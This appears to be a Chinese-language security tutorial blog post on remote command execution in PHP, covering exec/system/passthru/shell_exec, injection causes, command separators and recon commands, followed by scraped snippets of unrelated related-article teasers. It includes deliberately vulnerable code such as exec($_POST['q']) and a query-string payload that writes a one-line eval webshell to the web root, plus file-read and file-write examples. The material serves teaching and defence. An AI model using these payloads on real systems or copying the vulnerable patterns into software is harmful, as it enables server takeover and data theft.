网络安全深入学习第一课——热门框架漏洞(RCE-命令执行)
文章目录
- 一、RCE
- 二、命令执行/注入-概述
- 三、命令执行-常见函数
- 四、PHP命令执行-常见函数
- 1、exec:
- 2、system
- 3、passthru
- 4、shell_exec
- 5、反引号 backquote
- 五、PHP命令执行-常见函数总结
- 六、命令执行漏洞成因
- 七、命令执行漏洞利用条件
- 八、命令执行漏洞分类
- 1、代码层过滤不严
- 2、系统的漏洞造成命令注入
- 3、调用的第三方组件存在代码执行漏洞
- 九、命令执行漏洞常用的命令
- Windows
- Linux
- 十、命令执行漏洞原理
- 十一、命令执行漏洞使用的特殊字符
- 1、&
- 2、&&
- 3、|
- 4、||
- 十二、命令执行漏洞getshell
- 1、直接获取webshell
- 2、显示当前路径
- 3、读文件
- 4、写文件
一、RCE
------ 远程命令执行或者代码执行
,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE。
------ RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
二、命令执行/注入-概述
------ 应用有时需要调用一些执行系统命令的函数,比如php中的system、exec、shell_exec、passthru、popen等,当用户调用这些函数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
------ 命令执行产生原因:Web应用的脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代码,在服务器上执行恶意指令。
------ 命令执行漏洞是PHP应用程序中最常见的漏洞之一。
------ 命令执行漏洞:直接调用操作系统命令。可以执行系统或应用指令(如CMD命令或bash命令)的漏洞,PHP命令执行漏洞主要基于一些函数的参数过滤不严导致。
三、命令执行-常见函数
常见的命令执行函数:
- PHP:exec、shell_exec、system、passthru、popen、proc_open等
- ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
- Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
四、PHP命令执行-常见函数
1、exec:
返回值:返回命令执行结果的最后一行内容,失败时返回 false
<?phpecho exec($_POST["q"]);
?>
<?phpprint exec($_POST["q"]);
?>
如下图,只会输出最后一行
2、system
------ 该函数会把执行结果输出,并把输出结果的作为字符串返回。
------ 如果 PHP 运行在服务器模块中,system() 函数,还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存,如果执行失败则返回false。
<?phphighlight_file(__FILE__); system('whoami');
?>highlight_file() 函数以字符串形式返回 突出显示的代码,
成功返回true,否则返回false。
3、passthru
------ 执行外部程序并且显示原始输出。执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数。
<?phphighlight_file(__FILE__);passthru('whoami');
?>
4、shell_exec
------ 通过 shell 执行命令并将完整的输出以字符串的方式返回。
<?phphighlight_file(__FILE__);var_dump(shell_exec('ipconfig'));
?>
5、反引号 backquote
------ shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
<?php echo `whoami`; ?>
这时候whoami会直接被当成命令来执行。
五、PHP命令执行-常见函数总结
------ 可执行命令的函数: system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open(),反引号也可以执行命令
- system()、exec()、shell_exec()、passthru()以及反引号( ` )是可以直接传入命令并且函数会返回执行结果。
如 <?php system('ipconfig'); ?> <?php echo `whoami`; ?>
- popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了
<?php popen('whoami >>D:/2.txt','r'); ?>
六、命令执行漏洞成因
------ 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
------ 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
七、命令执行漏洞利用条件
- 应用调用执行系统命令的函数
- 将用户输入作为系统命令的参数拼接到了命令行中
- 没有对用户输入进行过滤或过滤不严
八、命令执行漏洞分类
1、代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用。
2、系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271)
3、调用的第三方组件存在代码执行漏洞
如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2等)
ThinkPHP命令执行;
九、命令执行漏洞常用的命令
Windows
dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息
Linux
cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息
十、命令执行漏洞原理
------ 在操作系统中,"&、|、||"都可以作为命令连接符使用,用户通过浏览器提交 执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
------ 远程命令执行漏洞,指用户通过浏览器提交执行操作命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
十一、命令执行漏洞使用的特殊字符
1、&
1&2用来分隔一个命令行中的多个命令。先运行第一个命令1,然后运行第二个命令2。
2、&&
1&&2,先运行第一个命令1,只有在符号&&前面的命令1运行成功时才运行该符号后面的命令2。
3、|
1|2,命令行的管道符号,将命令1的输出立即作为命令2的输入,它把输入和输出重定向结合在一起。(直接执行了后面的语句)
4、||
1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。
十二、命令执行漏洞getshell
------ 攻击者直接继承web用户权限,可以在服务器上执行任意命令,危害特别大。
以下是几种常见的命令执行利用方式:
1、直接获取webshell
例如可以写入一句话木马:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshell.php
2、显示当前路径
例如可以提交参数 ?cmd=cd 来查看当前路径。
3、读文件
例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。
4、写文件
例如可以提交参数 ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php
相关文章:

网络安全深入学习第一课——热门框架漏洞(RCE-命令执行)
文章目录 一、RCE二、命令执行/注入-概述三、命令执行-常见函数四、PHP命令执行-常见函数1、exec:2、system3、passthru4、shell_exec5、反引号 backquote 五、PHP命令执行-常见函数总结六、命令执行漏洞成因七、命令执行漏洞利用条件八、命令执行漏洞分类1、代码层…...

应用在电子体温计中的国产温度传感芯片
电子体温计由温度传感芯片,液晶显示器,纽扣电池,专用集成电路及其他电子元器件组成。能快速准确地测量人体体温,与传统的水银玻璃体温计相比,具有读数方便,测量时间短,测量精度高,能…...

JVM 虚拟机 ----> Java 内存模型(JMM)
文章目录 Java 内存模型(JMM)一、运行时数据区域划分二、程序计数器(Program Counter Register)计数器的作用 三、Java 虚拟机栈(VM Stack)四、本地方法栈(Native Method Stack)五、…...

指针-字符串替换
任务描述 从标准输入读入数据,每行中最多包含一个字符串 “_xy_”,且除了字符串“_xy_”外,输入数据中不包括下划线字符,请将输入行中的 “_xy_” 替换为 “_ab_”, 在标准输出上输出替换后的结果;若没有进行过满足条…...

docker 网络(单机环境)
文章目录 深入理解 Namespace什么是NamespaceNamespace当中的 Network Namespace Libcontainerdocker 网络基础创建两个命名空间创建网络接口 veth pair命名空间添加 veth 接口为 veth 接口分配 IP启动 veth 接口相互 ping bridge 网络搭建网络环境查看docker0 网桥创建网桥 br…...

14、二叉树的morris遍历等
统计热词 有一个包含100亿个URL的大文件,假设每个URL占用64B,请找出其中所有重复的URL 【补充】 某搜索公司一天的用户搜索词汇是海量的(百亿数据量),请设计一种求出每天热门Top100 词汇的可行办法 多个小文件的大根堆,然后把每…...

BeanFactory与ApplicationContext
BeanFactory与ApplicationContext的区别 使用Alt Ctrl U查看java类图 什么是BeanFactory接口 他是ApplicationContext的父接口他才是Spring 的核心容器,主要的ApplicationContext功能的实现都间接通过BeanFactory接口来实现 在ApplicationContext类中方法的实现是…...
【计算机网络】 粘包问题
文章目录 为什么会产生粘包问题?解决办法先发包大小再发包内容代码示例 为什么会产生粘包问题? tcp是数据流传输,是一种没有边界的,可以合并的传输数据方式。合并就要能拆开,拆不开就是粘包。 解决办法 设置标志位&a…...
valgrind massif 详解(内存分配释放分析)
参考 https://valgrind.org/docs/manual/ms-manual.html 使用格式 valgrind --toolmassif [--massif-opts] prog [prog-args]目的 记录每一次的malloc, free; 概念: malloc申请内存, 实际分配内存(字节对齐, 分配器的记录头, 等等原因) 对内存进行分析, 优化, 以达到资源…...

使用命令行创建一个vue项目卡住不动如何解决
问题 在使用命令去创建一个vue项目, 出现下面卡住不动的一个状态。 解决方案一 首先先ctrlc停止进入创建好的项目文件手动输入npm install 、npm run dev如果npm run dev 的时候 出现 ‘vite’ 相关的错误查看node版本是否是最新的稳定版本node -v查看安装源是否…...

七天学会C语言-第一天(C语言基本语句)
一、固定格式 这个是C程序的基本框架,需要记住!!! #include<stdio.h>int main(){return 0; }二、printf 语句 简单输出一句C程序: #include<stdio.h> int main(){printf("大家好,&quo…...

vue项目部署,出现两个ip的原因
我宁愿靠自己的力量打开我的前途,而不愿求有力者的垂青。——雨果 tags: 篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vue项目部署,出现两个ip的原因相关的知识,希望对你有一定的参考价值。 参考技术A 在部署v…...

无涯教程-JavaScript - ASIN函数
描述 ASIN函数返回给定数字的反正弦或反正弦,并返回以弧度表示的Angular,介于-π/2和π/2之间。 语法 ASIN (number)争论 Argument描述Required/OptionalNumberThe sine of the angle you want and must be from -1 to 1.Required Notes 如果您希望ASIN函数返回的Angular以…...

MYSQL的SQL优化
insert语句 开启事务 手动控制事务 start transaction; insert into tb_test values(1,Tom),(2,Cat),(3,Jerry); insert into tb_test values(4,Tom),(5,Cat),(6,Jerry); insert into tb_test values(7,Tom),(8,Cat),(9,Jerry); commit; 内存插入 load命令中用 fields te…...
lintcode 553 · 炸弹袭击【中等 数组+bfs+模拟】
题目 https://www.lintcode.com/problem/553 给定一个二维矩阵, 每一个格子可能是一堵墙 W,或者 一个敌人 E 或者空 0 (数字 0), 返回你可以用一个炸弹杀死的最大敌人数. 炸弹会杀死所有在同一行和同一列没有墙阻隔的敌人。 由于墙比较坚固,所以墙不会被摧毁.你只…...

第一章 计算机系统概述 八、虚拟机
目录 一、传统虚拟机的结构 二、两类虚拟机管理程序 (1)定义: (2)区别:(考点) 一、传统虚拟机的结构 二、两类虚拟机管理程序 (1)定义: &…...

桶装水送水多水站送水员公众号h5开发
桶装水送水多水站送水员公众号h5开发 界面简洁易懂用户容易接受。 独家一户一码全家都能订水。 多个水站运营可按距离选择绑定。 三种支付方式水票、微信、到付。 强大员工系统老板坐享其成。 自由跑跑模式可招兼职送水员接单。 一户一码、全家享用 一户一码,精准…...

【JavaEE】多线程(二)
多线程(二) 文章目录 多线程(二)第一个多线程程序观察线程sleep创建线程继承Thread类,重写run方法实现Runnable, 重写run继承Thread,重写run实现Runnable,重写run基于lambda表达式 T…...
OkHttp 根据服务器返回的的过期时间设置缓存
据返回的缓存时间来缓存响应,可以通过使用OkHttp的CacheControl和ResponseCacheInterceptor来实现。以下是一个示例代码: // 创建缓存目录和缓存对象 File cacheDirectory new File(context.getCacheDir(), "http-cache"); int cacheSize 1…...

智能远程监考方案助力企业考试化繁为简
在音视频数字化之旅中,轻装上阵。 近年来,在数字化浪潮之下,远程考试频繁成为各领域热词,各企业也纷纷改革求新,将原本的企业内部考试转移到线上,从而获取更低廉的组考成本,更高的管理效率&…...
Python爬虫实战:研究MechanicalSoup库相关技术
一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库,专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力,提供了直观的 API,让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...

边缘计算医疗风险自查APP开发方案
核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...

Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)
CSI-2 协议详细解析 (一) 1. CSI-2层定义(CSI-2 Layer Definitions) 分层结构 :CSI-2协议分为6层: 物理层(PHY Layer) : 定义电气特性、时钟机制和传输介质(导线&#…...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

ios苹果系统,js 滑动屏幕、锚定无效
现象:window.addEventListener监听touch无效,划不动屏幕,但是代码逻辑都有执行到。 scrollIntoView也无效。 原因:这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作,从而会影响…...

ABAP设计模式之---“简单设计原则(Simple Design)”
“Simple Design”(简单设计)是软件开发中的一个重要理念,倡导以最简单的方式实现软件功能,以确保代码清晰易懂、易维护,并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计,遵循“让事情保…...

【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...

【C++进阶篇】智能指针
C内存管理终极指南:智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...

MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...